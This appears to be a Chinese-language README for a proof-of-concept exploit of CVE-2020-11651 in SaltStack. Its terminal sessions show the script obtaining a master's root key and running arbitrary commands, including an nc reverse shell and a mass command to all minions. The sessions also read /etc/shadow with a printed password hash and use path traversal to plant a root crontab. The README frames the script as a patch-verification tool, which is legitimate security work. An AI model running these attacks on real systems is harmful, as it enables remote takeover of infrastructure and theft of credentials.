这是一个基于最初检查脚本的概念验证漏洞利用。 使用它来验证您是否已成功将 Salt master 服务器更新到包含必要修复的版本。
感谢 F-Secure Labs 的研究与报告。
目前，此脚本可用于访问文件系统，并在 master 和所有连接的 minion 上调度命令。请明智地使用这些能力！
默认操作（无参数）是获取给定 master 的 root key：
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
root@kalimah:~/salt#
在 master 上执行任意命令：
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[+] Attemping to execute nc 127.0.0.1 4444 -e /bin/sh on 192.168.115.130
[+] Successfully scheduled job: 20200504153851746472
root@kalimah:~/salt#
相同操作，但在所有 minion 上执行：
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec-all="apt-get upgrade -y"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[!] Lester, is this what you want? Hit ^C to abort.
[+] Attemping to execute 'apt-get upgrade -y' on all minions connected to 192.168.115.130
[+] Successfully submitted job to all minions.
root@kalimah:~/salt#
可以使用以下方式读取文件：
root@kalimah:~/salt# python2 exploit.py --master 192.168.115.130 -r /etc/shadow
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[+] Attemping to read /etc/shadow from 192.168.115.130
root:$6$7qfolaa/$3yhszWj/VUJjfPaqr1yO6NLgV/FhHnVT9Pr6spwJ/F0BJw5vFM.3KjtwcnnuGo5uSJJkLrd28jXrmVZUD9nEI/:17812:0:99999:7:::
daemon:*:17785:0:99999:7:::
bin:*:17785:0:99999:7:::
sys:*:17785:0:99999:7:::
sync:*:17785:0:99999:7:::
games:*:17785:0:99999:7:::
man:*:17785:0:99999:7:::
[...]
可以使用 --upload-src 和 --upload-dest 上传文件。注意目标路径必须是相对路径：
root@kalimah:~/salt# python2 exploit.py --upload-src evil.crontab --upload-dest ../../../../../../var/spool/cron/crontabs/root
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[-] Destination path must be relative
[+] Attemping to upload evil.crontab to ../../../../../../var/spool/cron/crontabs/root on 127.0.0.1
[ ] Wrote data to file /srv/salt/../../../../../../var/spool/cron/crontabs/root
pip3 install salt）